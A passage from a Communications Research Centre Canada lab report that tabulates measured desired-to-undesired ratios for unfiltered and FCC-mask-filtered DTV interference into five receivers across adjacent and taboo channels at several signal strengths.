5 shows the result for Unfiltered DTV into DTV with five desired powers. In that case, the desired DTV signal was fixed on channel 32 and the undesired DTV signal (unfiltered) was set to the proper channel relationship. © Communications Research Centre Canada Page 6 Table 6 to 10 shows the result for Filtered DTV into DTV with five desired powers. In that case, the undesired DTV signal was fix on channel 46, filtered according to FCC mask, and the desired DTV signal was set to the proper channel. Graphs for Moderate, Weak and 7 dB above Edge of DTV Contour for Unfiltered and Filtered DTV into DTV are presented following the corresponding table. NOTE: 1. Table cells highlighted in YELLOW mean that the maximum power level generated from the test bed configuration was reached. The actual D/U ratios highlighted in yellow in the table are less than the reported value. In those cases, TOV was never reached that there was no video impairment. 2. Table cells highlighted in RED mean that the receiver failed to acquire at that desired signal level without the interference (the receiver min. signal level is too high on this RF channel). © Communications Research Centre Canada Page 7 Receiver 1 Receiver 2 Receiver 3 Receiver 4 Receiver 5 Desired Signal Level Undesired DTV Channel Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) -15 dBm N-15 >5.8 <-20.8 >5.8 <-20.8 >5.8 <-20.8 >5.8 <-20.8 1.3 -16.3 -15 dBm N-14 >5.8 <-20.8 >5.8 <-20.8 >5.8 <-20.8 >5.8 <-20.8 1.3 -16.3 -15 dBm N-13 >5.8 <-20.8 >5.8 <-20.8 >5.8 <-20.8 >5.8 <-20.8 2.3 -17.3 -15 dBm N-12 >5.9 <-20.9 >5.9 <-20.9 >5.9 <-20.9 >5.9 <-20.9 2.4 -17.4 -15 dBm N-11 >5.9 <-20.9 >5.9 <-20.9 >5.9 <-20.9 >5.9 <-20.9 2.9 -17.9 -15 dBm N-10 >5.8 <-20.8 >5.8 <-20.8 >5.8 <-20.8 >5.8 <-20.8 1.8 -16.8 -15 dBm N-9 >5.8 <-20.8 >5.8 <-20.8 >5.8 <-20.8 >5.8 <-20.8 2.3 -17.3 -15 dBm N-8 >5.6 <-20.6 >5.6 <-20.6 >5.6 <-20.6 >5.6 <-20.6 1.6 -16.6 -15 dBm N-7 >5.6 <-20.6 >5.6 <-20.6 >5.6 <-20.6 >5.6 <-20.6 2.1 -17.1 -15 dBm N-6 >5.7 <-20.7 >5.7 <-20.7 >5.7 <-20.7 >5.7 <-20.7 2.2 -17.2 -15 dBm N-5 >5.5 <-20.5 >5.5 <-20.5 >5.5 <-20.5 >5.5 <-20.5 1.5 -16.5 -15 dBm N-4 >5.7 <-20.7 >5.7 <-20.7 >5.7 <-20.7 >5.7 <-20.7 2.2 -17.2 -15 dBm N-3 >5.6 <-20.6 >5.6 <-20.6 >5.6 <-20.6 >5.6 <-20.6 2.6 -17.6 -15 dBm N-2 >5.7 <-20.7 >5.7 <-20.7 >5.7 <-20.7 >5.7 <-20.7 2.7 -17.7 -15 dBm N-1 >6.7 <-21.7 2.2 -17.2 1.7 -16.7 2.2 -17.2 0.2 -15.2 -15 dBm N+1 >6.5 <-21.5 3.0 -18.0 0.5 -15.5 3.5 -18.5 0.5 -15.5 -15 dBm N+2 >6.7 <-21.7 >6.7 <-21.7 6.2 -21.2 >6.7 <-21.7 2.7 -17.7 -15 dBm N+3 >6.7 <-21.7 >6.7 <-21.7 >6.7 <-21.7 >6.7 <-21.7 2.2 -17.2 -15 dBm N+4 >6.8 <-21.8 >6.8 <-21.8 >6.8 <-21.8 >6.8 <-21.8 2.3 -17.3 -15 dBm N+5 >6.9 <-21.9 >6.9 <-21.9 >6.9 <-21.9 >6.9 <-21.9 1.9 -16.9 -15 dBm N+6 >6.9 <-21.9 >6.9 <-21.9 >6.9 <-21.9 >6.9 <-21.9 1.9 -16.9 -15 dBm N+7 >6.9 <-21.9 >6.9 <-21.9 -3.1 -11.9 >6.9 <-21.9 1.9 -16.9 -15 dBm N+8 >7.0 <-22.0 >7.0 <-22.0 >7.0 <-22.0 >7.0 <-22.0 2.0 -17.0 -15 dBm N+9 >7.0 <-22.0 >7.0 <-22.0 >7.0 <-22.0 >7.0 <-22.0 2.0 -17.0 -15 dBm N+10 >7.2 <-22.2 >7.2 <-22.2 >7.2 <-22.2 >7.2 <-22.2 2.2 -17.2 -15 dBm N+11 >7.1 <-22.1 >7.1 <-22.1 >7.1 <-22.1 >7.1 <-22.1 2.1 -17.1 -15 dBm N+12 >7.1 <-22.1 >7.1 <-22.1 >7.1 <-22.1 >7.1 <-22.1 1.6 -16.6 -15 dBm N+13 >7.3 <-22.3 >7.3 <-22.3 >7.3 <-22.3 >7.3 <-22.3 1.8 -16.8 -15 dBm N+14 >7.6 <-22.6 >7.6 <-22.6 >7.6 <-22.6 >7.6 <-22.6 2.1 -17.1 -15 dBm N+15 >7.6 <-22.6 >7.6 <-22.6 >7.6 <-22.6 >7.6 <-22.6 1.6 -16.6 Table 1 – Unfiltered DTV Interference into Very Strong DTV (-15 dBm) © Communications Research Centre Canada Page 8 Receiver 1 Receiver 2 Receiver 3 Receiver 4 Receiver 5 Desired Signal Level Undesired DTV Channel Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Strong N-15 >5.8 <-33.8 >5.8 <-33.8 >5.8 <-33.8 >5.8 <-33.8 1.3 -29.3 Strong N-14 >5.8 <-33.8 >5.8 <-33.8 >5.8 <-33.8 >5.8 <-33.8 1.8 -29.8 Strong N-13 >5.8 <-33.8 >5.8 <-33.8 >5.8 <-33.8 >5.8 <-33.8 2.3 -30.3 Strong N-12 >5.9 <-33.9 >5.9 <-33.9 >5.9 <-33.9 >5.9 <-33.9 2.9 -30.9 Strong N-11 >5.9 <-33.9 >5.9 <-33.9 >5.9 <-33.9 >5.9 <-33.9 3.9 -31.9 Strong N-10 >5.8 <-33.8 >5.8 <-33.8 >5.8 <-33.8 >5.8 <-33.8 2.8 -30.8 Strong N-9 >5.8 <-33.8 >5.8 <-33.8 >5.8 <-33.8 4.3 -32.3 3.3 -31.3 Strong N-8 >5.6 <-33.6 >5.6 <-33.6 >5.6 <-33.6 3.1 -31.1 2.6 -30.6 Strong N-7 >5.6 <-33.6 >5.6 <-33.6 >5.6 <-33.6 0.1 -28.1 3.6 -31.6 Strong N-6 >5.7 <-33.7 >5.7 <-33.7 >5.7 <-33.7 -0.8 -27.2 3.7 -31.7 Strong N-5 >5.5 <-33.5 >5.5 <-33.5 >5.5 <-33.5 -1.0 -27.0 2.5 -30.5 Strong N-4 >5.7 <-33.7 >5.7 <-33.7 >5.7 <-33.7 >5.7 <-33.7 2.2 -30.2 Strong N-3 >5.6 <-33.6 >5.6 <-33.6 5.1 -33.1 >5.6 <-33.6 2.1 -30.1 Strong N-2 >5.7 <-33.7 >5.7 <-33.7 >5.7 <-33.7 >5.7 <-33.7 1.7 -29.7 Strong N-1 1.2 -29.2 -0.8 -27.2 -1.8 -26.2 -0.3 -27.7 -2.8 -25.2 Strong N+1 -1.0 -27.0 0.5 -28.5 -3.0 -25.0 1.0 -29 -2.0 -26.0 Strong N+2 >6.7 <-34.7 >6.7 <-34.7 5.7 -33.7 >6.7 <-34.7 1.7 -29.7 Strong N+3 >6.7 <-34.7 >6.7 <-34.7 6.2 -34.2 6.2 -34.2 2.2 -30.2 Strong N+4 >6.8 <-34.8 >6.8 <-34.8 5.8 -33.8 >6.8 <-34.8 3.3 -31.3 Strong N+5 >6.9 <-34.9 >6.9 <-34.9 5.4 -33.4 >6.9 <-34.9 4.4 -32.4 Strong N+6 >6.9 <-34.9 >6.9 <-34.9 >6.9 <-34.9 >6.9 <-34.9 4.4 -32.4 Strong N+7 >6.9 <-34.9 >6.9 <-34.9 -3.6 -24.4 >6.9 <-34.9 3.9 -31.9 Strong N+8 >7.0 <-35.0 >7.0 <-35.0 >7.0 <-35.0 >7.0 <-35.0 3.5 -31.5 Strong N+9 >7.0 <-35.0 >7.0 <-35.0 >7.0 <-35.0 >7.0 <-35.0 2.5 -30.5 Strong N+10 >7.2 <-35.2 >7.2 <-35.2 >7.2 <-35.2 >7.2 <-35.2 3.2 -31.2 Strong N+11 >7.1 <-35.1 >7.1 <-35.1 >7.1 <-35.1 >7.1 <-35.1 3.1 -31.1 Strong N+12 >7.1 <-35.1 >7.1 <-35.1 >7.1 <-35.1 >7.1 <-35.1 2.6 -30.6 Strong N+13 >7.3 <-35.3 >7.3 <-35.3 >7.3 <-35.3 >7.3 <-35.3 2.8 -30.8 Strong N+14 3.6 -31.6 >7.6 <-35.6 >7.6 <-35.6 >7.6 <-35.6 2.6 -30.6 Strong N+15 0.1 -28.1 >7.6 <-35.6 >7.6 <-35.6 >7.6 <-35.6 2.1 -30.1 Table 2 – Unfiltered DTV Interference into Strong DTV © Communications Research Centre Canada Page 9 Receiver 1 Receiver 2 Receiver 3 Receiver 4 Receiver 5 Desired Signal Level Undesired DTV Channel Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Moderate N-15 0.8 -53.8 >5.8 <-58.8 -5.7 -47.3 -0.7 -52.3 0.3 -53.3 Moderate N-14 -15.2 -37.8 >5.8 <-58.8 -6.7 -46.3 -2.2 -50.8 -0.2 -52.8 Moderate N-13 1.3 -54.3 >5.8 <-58.8 -7.7 -45.3 -4.2 -48.8 0.3 -53.3 Moderate N-12 1.4 -54.4 >5.9 <-58.9 -9.6 -43.4 -6.1 -46.9 0.4 -53.4 Moderate N-11 -0.6 -52.4 >5.9 <-58.9 -11.1 -41.9 -8.6 -44.4 0.4 -53.4 Moderate N-10 1.8 -54.8 >5.8 <-58.8 -12.2 -40.8 -9.7 -43.3 -0.2 -52.8 Moderate N-9 1.8 -54.8 5.3 -58.3 -13.7 -39.3 -12.2 -40.8 -1.7 -51.3 Moderate N-8 1.6 -54.6 5.1 -58.1 -15.4 -37.6 -13.9 -39.1 -2.9 -50.1 Moderate N-7 -1.4 -51.6 >5.6 <-58.6 -16.9 -36.1 -15.9 -37.1 -4.4 -48.6 Moderate N-6 1.7 -54.7 >5.7 <-58.7 -17.3 -35.7 -17.3 -35.7 0.7 -53.7 Moderate N-5 -2.5 -50.5 >5.5 <-58.5 1.0 -54.0 -18.5 -34.5 1.5 -54.5 Moderate N-4 -8.3 -44.7 >5.7 <-58.7 -17.8 -35.2 -1.8 -51.2 0.7 -53.7 Moderate N-3 -12.4 -40.6 -0.9 -52.1 -18.9 -34.1 -1.4 -51.6 -2.4 -50.6 Moderate N-2 -13.8 -39.2 -9.8 -43.2 -8.3 -44.7 -8.3 -44.7 -10.3 -42.7 Moderate N-1 -23.3 -29.7 -16.8 -36.2 -16.3 -36.7 -15.8 -37.2 -15.3 -37.7 Moderate N+1 -26.0 -27.0 -15.0 -38.0 -16.5 -36.5 -14.0 -39.0 -15.0 -38.0 Moderate N+2 -16.3 -36.7 -7.3 -45.7 -7.3 -45.7 -6.3 -46.7 -7.8 -45.2 Moderate N+3 -8.3 -44.7 2.2 -55.2 -23.3 -29.7 -9.8 -43.2 -0.8 -52.2 Moderate N+4 -7.7 -45.3 5.8 -58.8 -20.2 -32.8 -5.7 -47.3 0.8 -53.8 Moderate N+5 1.4 -54.4 -1.6 -51.4 -19.6 -33.4 -5.1 -47.9 0.9 -53.9 Moderate N+6 3.4 -56.4 2.9 -55.9 -10.6 -42.4 1.9 -54.9 -0.6 -52.4 Moderate N+7 -17.6 -35.4 2.4 -55.4 -21.6 -31.4 -1.1 -51.9 -6.6 -46.4 Moderate N+8 5.5 -58.5 6.0 -59.0 -0.5 -52.5 6.5 -59.5 -1.0 -52.0 Moderate N+9 5.5 -58.5 >7 <-60 3.5 -56.5 >7.0 <-60.0 -0.5 -52.5 Moderate N+10 0.2 -53.2 6.7 -59.7 5.7 -58.7 6.7 -59.7 -0.3 -52.7 Moderate N+11 4.6 -57.6 >7.1 <-60.1 >7.1 <-60.1 >7.1 <-60.1 0.1 -53.1 Moderate N+12 3.6 -56.6 >7.1 <-60.1 >7.1 <-60.1 >7.1 <-60.1 -0.4 -52.6 Moderate N+13 1.8 -54.8 >7.3 <-60.3 >7.3 <-60.3 >7.3 <-60.3 -0.2 -52.8 Moderate N+14 -17.9 -35.1 7.1 -60.1 -15.4 -37.6 -4.9 -48.1 -0.4 -52.6 Moderate N+15 -21.4 -31.6 5.6 -58.6 -17.4 -35.6 -5.9 -47.1 -0.9 -52.1 Table 3 – Unfiltered DTV Interference into Moderate DTV © Communications Research Centre Canada Page 10 Unfiltered DTV into Moderate DTV Taboo Channels N-15 N-14 N-13 N-12 N-11 N-10 N-9 N-8 N-7 N-6 N-5 N-4 N-3 N-2 N-1 N+1 N+2 N+3 N+4 N+5 N+6 N+7 N+8 N+9 N+10 N+11 N+12 N+13 N+14 N+15 Desired over Undesired [D/U] (dB) -65 -60 -55 -50 -45 -40 -35 -30 -25 Receiver 1 Receiver 2 Receiver 3 Receiver 4 Receiver 5 Undesired Signal Power (dBm) 12 7 2 -3 -8 -13 -18 -23 -28 © Communications Research Centre Canada Page 11 Receiver 1 Receiver 2 Receiver 3 Receiver 4 Receiver 5 Desired Signal Level Undesired DTV Channel Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Weak N-15 -13.2 -54.8 5.3 -73.3 -7.2 -60.8 -3.7 -64.3 -0.2 -67.8 Weak N-14 -30.2 -37.8 3.8 -71.8 -6.7 -61.3 -3.2 -64.8 -0.2 -67.8 Weak N-13 -12.7 -55.3 4.8 -72.8 -8.2 -59.8 -5.2 -62.8 -0.2 -67.8 Weak N-12 -12.1 -55.9 -0.6 -67.4 -10.6 -57.4 -8.1 -59.9 -4.1 -63.9 Weak N-11 -14.6 -53.4 -1.6 -66.4 -13.6 -54.4 -11.6 -56.4 -2.6 -65.4 Weak N-10 -11.7 -56.3 -1.7 -66.3 -12.7 -55.3 -10.7 -57.3 -2.7 -65.3 Weak N-9 -11.7 -56.3 -3.2 -64.8 -17.2 -50.8 -16.2 -51.8 -4.7 -63.3 Weak N-8 -12.4 -55.6 -1.4 -66.6 -15.9 -52.1 -14.4 -53.6 -5.4 -62.6 Weak N-7 -15.9 -52.1 -6.9 -61.1 -16.9 -51.1 -16.9 -51.1 -8.4 -59.6 Weak N-6 -11.8 -56.2 -2.3 -65.7 -17.8 -50.2 -17.8 -50.2 -5.8 -62.2 Weak N-5 -16.0 -52.0 -3.0 -65.0 -19.5 -48.5 -19.5 -48.5 -6.0 -62.0 Weak N-4 -22.3 -45.7 -8.8 -59.2 -19.8 -48.2 -18.3 -49.7 -10.3 -57.7 Weak N-3 -26.4 -41.6 -16.9 -51.1 -21.9 -46.1 -16.9 -51.1 -17.4 -50.6 Weak N-2 -27.8 -40.2 -26.8 -41.2 -23.8 -44.2 -23.8 -44.2 -24.8 -43.2 Weak N-1 -38.3 -29.7 -33.8 -34.2 -31.3 -36.7 -30.8 -37.2 -30.3 -37.7 Weak N+1 -40.5 -27.5 -31.0 -37.0 -31.5 -36.5 -29.0 -39.0 -31.0 -37.0 Weak N+2 -30.8 -37.2 -22.8 -45.2 -22.3 -45.7 -21.3 -46.7 -23.8 -44.2 Weak N+3 -22.8 -45.2 -13.3 -54.7 -24.8 -43.2 -13.3 -54.7 -14.3 -53.7 Weak N+4 -22.2 -45.8 -7.2 -60.8 -21.7 -46.3 -10.7 -57.3 -9.2 -58.8 Weak N+5 -12.6 -55.4 -11.6 -56.4 -24.1 -43.9 -10.1 -57.9 -7.6 -60.4 Weak N+6 -10.1 -57.9 -2.6 -65.4 -13.6 -54.4 -2.1 -65.9 -4.1 -63.9 Weak N+7 -31.6 -36.4 -2.6 -65.4 -21.6 -46.4 -5.1 -62.9 -8.1 -59.9 Weak N+8 -8.5 -59.5 -1.5 -66.5 -2.5 -65.5 -1.5 -66.5 -3.0 -65.0 Weak N+9 -8.0 -60.0 -2.0 -66.0 -1.0 -67.0 -1.0 -67.0 -3.0 -65.0 Weak N+10 -14.3 -53.7 -0.8 -67.2 -1.3 -66.7 -0.3 -67.7 -2.8 -65.2 Weak N+11 -9.9 -58.1 -1.4 -66.6 0.1 -68.1 -0.4 -67.6 -2.4 -65.6 Weak N+12 -10.9 -57.1 -1.4 -66.6 0.1 -68.1 -0.9 -67.1 -2.4 -65.6 Weak N+13 -11.7 -56.3 -1.7 -66.3 0.3 -68.3 -0.2 -67.8 -2.7 -65.3 Weak N+14 -32.9 -35.1 -6.9 -61.1 -30.4 -37.6 -20.4 -47.6 -11.4 -56.6 Weak N+15 -36.4 -31.6 -9.4 -58.6 -31.9 -36.1 -20.9 -47.1 -12.4 -55.6 Table 4 – Unfiltered DTV Interference into Weak DTV © Communications Research Centre Canada Page 12 Unfiltered DTV into Weak DTV Taboo Channels N-15 N-14 N-13 N-12 N-11 N-10 N-9 N-8 N-7 N-6 N-5 N-4 N-3 N-2 N-1 N+1 N+2 N+3 N+4 N+5 N+6 N+7 N+8 N+9 N+10 N+11 N+12 N+13 N+14 N+15 Desired over Undesired [D/U] (dB) -75 -70 -65 -60 -55 -50 -45 -40 -35 -30 -25 Receiver 1 Receiver 2 Receiver 3 Receiver 4 Receiver 5 Undesired Signal Power (dBm) 7 2 -3 -8 -13 -18 -23 -28 -33 -38 -43 © Communications Research Centre Canada Page 13 Receiver 1 Receiver 2 Receiver 3 Receiver 4 Receiver 5 Desired Signal Level Undesired DTV Channel Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Contour+7dB N-15 -14.2 -61.8 -3.2 -72.8 -9.7 -66.3 -6.2 -69.8 -4.2 -71.8 Contour+7dB N-14 -34.2 -41.8 -5.2 -70.8 -8.2 -67.8 -6.2 -69.8 -5.7 -70.3 Contour+7dB N-13 -13.7 -62.3 -4.2 -71.8 -9.7 -66.3 -7.7 -68.3 -5.2 -70.8 Contour+7dB N-12 -13.6 -62.4 -9.6 -66.4 -13.1 -62.9 -11.6 -64.4 -10.6 -65.4 Contour+7dB N-11 -17.1 -58.9 -10.6 -65.4 -16.1 -59.9 -14.1 -61.9 -11.1 -64.9 Contour+7dB N-10 -13.2 -62.8 -10.7 -65.3 -14.2 -61.8 -13.2 -62.8 -11.7 -64.3 Contour+7dB N-9 -13.7 -62.3 -12.2 -63.8 -19.2 -56.8 -18.7 -57.3 -13.2 -62.8 Contour+7dB N-8 -14.4 -61.6 -10.4 -65.6 -17.4 -58.6 -16.9 -59.1 -10.9 -65.1 Contour+7dB N-7 -19.9 -56.1 -16.9 -59.1 -18.9 -57.1 -18.9 -57.1 -16.4 -59.6 Contour+7dB N-6 -12.8 -63.2 -10.8 -65.2 -19.3 -56.7 -19.3 -56.7 -13.3 -62.7 Contour+7dB N-5 -18.0 -58.0 -11.5 -64.5 -21.5 -54.5 -21.5 -54.5 -14.0 -62.0 Contour+7dB N-4 -22.8 -53.2 -17.3 -58.7 -21.8 -54.2 -21.8 -54.2 -19.3 -56.7 Contour+7dB N-3 -27.4 -48.6 -25.9 -50.1 -24.4 -51.6 -24.9 -51.1 -26.4 -49.6 Contour+7dB N-2 -31.3 -44.7 -34.8 -41.2 -32.3 -43.7 -31.8 -44.2 -34.3 -41.7 Contour+7dB N-1 -40.8 -35.2 -41.8 -34.2 -40.3 -35.7 -39.3 -36.7 -39.3 -36.7 Contour+7dB N+1 -49.0 -27.0 -39.0 -37.0 -40.0 -36.0 -37.5 -38.5 -39.5 -36.5 Contour+7dB N+2 -32.3 -43.7 -31.3 -44.7 -31.3 -44.7 -30.3 -45.7 -32.8 -43.2 Contour+7dB N+3 -23.8 -52.2 -21.8 -54.2 -26.8 -49.2 -21.3 -54.7 -23.8 -52.2 Contour+7dB N+4 -27.2 -48.8 -14.7 -61.3 -24.2 -51.8 -15.7 -60.3 -18.2 -57.8 Contour+7dB N+5 -14.6 -61.4 -15.1 -60.9 -27.1 -48.9 -13.6 -62.4 -14.6 -61.4 Contour+7dB N+6 -12.1 -63.9 -10.6 -65.4 -15.6 -60.4 -10.6 -65.4 -11.1 -64.9 Contour+7dB N+7 -32.1 -43.9 -10.6 -65.4 -23.1 -52.9 -11.1 -64.9 -12.6 -63.4 Contour+7dB N+8 -11.5 -64.5 -10.0 -66.0 -10.0 -66.0 -10.0 -66.0 -11.0 -65.0 Contour+7dB N+9 -11.5 -64.5 -11.0 -65.0 -9.5 -66.5 -10.0 -66.0 -11.5 -64.5 Contour+7dB N+10 -17.3 -58.7 -8.8 -67.2 -9.3 -66.7 -8.8 -67.2 -10.8 -65.2 Contour+7dB N+11 -13.4 -62.6 -10.4 -65.6 -8.9 -67.1 -9.4 -66.6 -10.9 -65.1 Contour+7dB N+12 -12.4 -63.6 -10.4 -65.6 -8.9 -67.1 -9.9 -66.1 -10.9 -65.1 Contour+7dB N+13 -13.7 -62.3 -11.2 -64.8 -8.7 -67.3 -9.2 -66.8 -11.7 -64.3 Contour+7dB N+14 -41.4 -34.6 -16.4 -59.6 -38.9 -37.1 -29.4 -46.6 -20.9 -55.1 Contour+7dB N+15 -45.4 -30.6 -18.4 -57.6 -40.9 -35.1 -30.4 -45.6 -21.9 -54.1 Table 5 – Unfiltered DTV Interference into 7 dB above Edge of DTV Contour © Communications Research Centre Canada Page 14 Unfiltered DTV into 7 dB above Edge of DTV Contour Taboo Channels N-15 N-14 N-13 N-12 N-11 N-10 N-9 N-8 N-7 N-6 N-5 N-4 N-3 N-2 N-1 N+1 N+2 N+3 N+4 N+5 N+6 N+7 N+8 N+9 N+10 N+11 N+12 N+13 N+14 N+15 Desired over Undesired [D/U] (dB) -75 -70 -65 -60 -55 -50 -45 -40 -35 -30 -25 Receiver 1 Receiver 2 Receiver 3 Receiver 4 Receiver 5 Undesired Signal Power (dBm) -11 -16 -21 -26 -31 -36 -41 -46 -51 -6 -1 © Communications Research Centre Canada Page 15 Receiver 1 Receiver 2 Receiver 3 Receiver 4 Receiver 5 Desired Signal Level Undesire d DTV Channel Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) -15 dBm N-15 >11.7 <-26.7 >11.7 <-26.7 >11.7 <-26.7 >11.7 <-26.7 1.2 -16.2 -15 dBm N-14 >11.7 <-26.7 >11.7 <-26.7 >11.7 <-26.7 >11.7 <-26.7 1.2 -16.2 -15 dBm N-13 >11.6 <-26.6 >11.6 <-26.6 >11.6 <-26.6 >11.6 <-26.6 1.1 -16.1 -15 dBm N-12 >11.7 <-26.7 >11.7 <-26.7 >11.7 <-26.7 >11.7 <-26.7 1.7 -16.7 -15 dBm N-11 >11.6 <-26.6 >11.6 <-26.6 >11.6 <-26.6 >11.6 <-26.6 1.6 -16.6 -15 dBm N-10 >11.5 <-26.5 >11.5 <-26.5 >11.5 <-26.5 >11.5 <-26.5 1.5 -16.5 -15 dBm N-9 >11.6 <-26.6 >11.6 <-26.6 >11.6 <-26.6 >11.6 <-26.6 1.1 -16.1 -15 dBm N-8 >11.7 <-26.7 >11.7 <-26.7 11.2 -26.2 >11.7 <-26.7 0.7 -15.7 -15 dBm N-7 >11.7 <-26.7 >11.7 <-26.7 11.2 -26.2 >11.7 <-26.7 0.7 -15.7 -15 dBm N-6 >11.7 <-26.7 >11.7 <-26.7 9.7 -24.7 >11.7 <-26.7 0.7 -15.7 -15 dBm N-5 >11.7 <-26.7 >11.7 <-26.7 8.7 -23.7 >11.7 <-26.7 0.2 -15.2 -15 dBm N-4 >11.7 <-26.7 >11.7 <-26.7 7.7 -22.7 11.2 -26.2 0.2 -15.2 -15 dBm N-3 >11.8 <-26.8 11.3 -26.3 6.3 -21.3 10.8 -25.8 -0.2 -14.8 -15 dBm N-2 >11.6 <-26.6 >11.6 <-26.6 4.1 -19.1 8.6 -23.6 0.1 -15.1 -15 dBm N-1 >11.8 <-26.8 9.3 -24.3 4.8 -19.8 1.8 -16.8 -2.2 -12.8 -15 dBm N+1 >11.5 <-26.5 >11.5 <-26.5 5.0 -20.0 4.0 -19.0 -1.5 -13.5 -15 dBm N+2 >11.6 <-26.6 >11.6 <-26.6 6.1 -21.1 >11.6 <-26.6 0.6 -15.6 -15 dBm N+3 >11.6 <-26.6 >11.6 <-26.6 8.6 -23.6 >11.6 <-26.6 1.1 -16.1 -15 dBm N+4 >11.6 <-26.6 >11.6 <-26.6 10.6 -25.6 >11.6 <-26.6 1.1 -16.1 -15 dBm N+5 >11.7 <-26.7 >11.7 <-26.7 >11.7 <-26.7 >11.7 <-26.7 0.7 -15.7 -15 dBm N+6 >11.7 <-26.7 >11.7 <-26.7 >11.7 <-26.7 >11.7 <-26.7 0.7 -15.7 -15 dBm N+7 >11.6 <-26.6 >11.6 <-26.6 -2.9 -12.1 9.1 -24.1 0.6 -15.6 -15 dBm N+8 >11.9 <-26.9 >11.9 <-26.9 >11.9 <-26.9 >11.9 <-26.9 0.9 -15.9 -15 dBm N+9 >11.7 <-26.7 >11.7 <-26.7 >11.7 <-26.7 >11.7 <-26.7 0.7 -15.7 -15 dBm N+10 >11.6 <-26.6 >11.6 <-26.6 >11.6 <-26.6 >11.6 <-26.6 1.1 -16.1 -15 dBm N+11 >11.7 <-26.7 >11.7 <-26.7 >11.7 <-26.7 >11.7 <-26.7 1.7 -16.7 -15 dBm N+12 >11.7 <-26.7 >11.7 <-26.7 >11.7 <-26.7 >11.7 <-26.7 2.2 -17.2 -15 dBm N+13 >11.8 <-26.8 >11.8 <-26.8 >11.8 <-26.8 >11.8 <-26.8 1.8 -16.8 -15 dBm N+14 >11.6 <-26.6 >11.6 <-26.6 >11.6 <-26.6 >11.6 <-26.6 1.6 -16.6 -15 dBm N+15 >11.6 <-26.6 >11.6 <-26.6 >11.6 <-26.6 >11.6 <-26.6 1.1 -16.1 Table 6 – Filtered DTV Interference into Very Strong DTV (-15 dBm) © Communications Research Centre Canada Page 16 Receiver 1 Receiver 2 Receiver 3 Receiver 4 Receiver 5 Desired Signal Level Undesire d DTV Channel Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Und. Level (dBm) D/U (dB) Strong N-15 >11.7 <-39.7 >11.7 <-39.7 >11.7 <-39.7 >11.7 <-39.7 1.2 -29.2 Strong N-14 >11.7 <-39.7 >11.7 <-39.7 >11.7 <-39.7 >11.7 <-39.7 1.2 -29.2 Strong N-13 >11.6 <-39.6 >11.6 <-39.6 >11.6 <-39.6 >11.6 <-39.6 1.1 -29.1 Strong N-12 >11.7 <-39.7 >11.7 <-39.7 >11.7 <-39.7 >11.7 <-39.7 1.7 -29.7 Strong N-11 >11.6 <-39.6 >11.6 <-39.6 >11.6 <-39.6 10.6 -38.6 1.6 -29.6 Strong N-10 >11.5 <-39.5 >11.5 <-39.5 >11.5 <-39.5 8.0 -36.0 1.0 -29.0 Strong N-9 >11.6 <-39.6 >11.6 <-39.6 >11.6 <-39.6 5.1 -33.1 0.6 -28.6 Strong N-8 >11.7 <-39.7 >11.7 <-39.7 >11.7 <-39.7 2.7 -30.7 0.7 -28.7 Strong N-7 >11.7 <-39.7 >11.7 <-39.7 >11.7 <-39.7 1.7 -29.7 0.7 -28.7 Strong N-6 >11.7 <-39.7 >11.7 <-39.7 >11.7 <-39.7 0.7 -28.7 0.2 -28.2 Strong N-5 >11.7 <-39.7 >11.7 <-39.7 11.2 -39.2 1.7 -29.7 0.7 -28.7 Strong N-4 >11.7 <-39.7 >11.7 <-39.7 9.2 -37.2 11.2 -39.2 -0.8 -27.2 Strong N-3 >11.8 <-39.8 11.3 -39.3 6.3 -34.3 10.8 -38.8 -0.2 -27.8 Strong N-2 >11.6 <-39.6 >11.6 <-39.6 4.1 -32.1 8.1 -36.1 -0.9 -27.1 Strong N-1 2.8 -30.8 -0.7 -27.3 -3.2 -24.8 -0.7 -27.3 -5.2 -22.8 Strong N+1 -1.5 -26.5 1.5 -29.5 -4.0 -24.0 1.0 -29.0 -5.0 -23.0 Strong N+2 8.1 -36.1 >11.6 <-39.6 6.1 -34.1 >11.6 <-39.6 0.1 -28.1 Strong N+3 >11.6 <-39.6 >11.6 <-39.6 9.1 -37.1 7.1 -35.1 1.1 -29.1 Strong N+4 >11.6 <-39.6 >11.6 <-39.6 7.1 -35.1 11.1 -39.1 2.1 -30.1 Strong N+5 >11.7 <-39.7 >11.7 <-39.7 6.2 -34.2 11.2 -39.2 1.7 -29.7 Strong N+6 >11.7 <-39.7 >11.7 <-39.7 10.2 -38.2 >11.7 <-39.7 2.7 -30.7 Strong N+7 4.6 -32.6 >11.6 <-39.6 -3.9 -24.1 9.6 -37.6 1.6 -29.6 Strong N+8 >11.9 <-39.9 >11.9 <-39.9 11.4 -39.4 >11.9 <-39.9 1.9 -29.9 Strong N+9 >11.7 <-39.7 >11.7 <-39.7 >11.7 <-39.7 >11.7 <-39.7 1.2 -29.2 Strong N+10 >11.6 <-39.6 >11.6 <-39.6 >11.6 <-39.6 >11.6 <-39.6 1.6 -29.6 Strong N+11 >11.7 <-39.7 >11.7 <-39.7 >11.7 <-39.7 >11.7 <-39.7 2.2 -30.2 Strong N+12 >11.7 <-39.7 >11.7 <-39.7 >11.7 <-39.7 >11.7 <-39.7 3.2 -31.2 Strong N+13 >11.8 <-39.8 >11.8 <-39.8 >11.8 <-39.8 >11.8 <-39.8 2.8 -30.8 Strong N+14 4.1 -32.1 >11.6 <-39.6 >11.6 <-39.6 >11.6 <-39.6 2.1 -30.1 Strong N+15 0.6 -28.6 >11.6 <-39.6 9.6 -37.6 >11.6 <-39.6 1.1 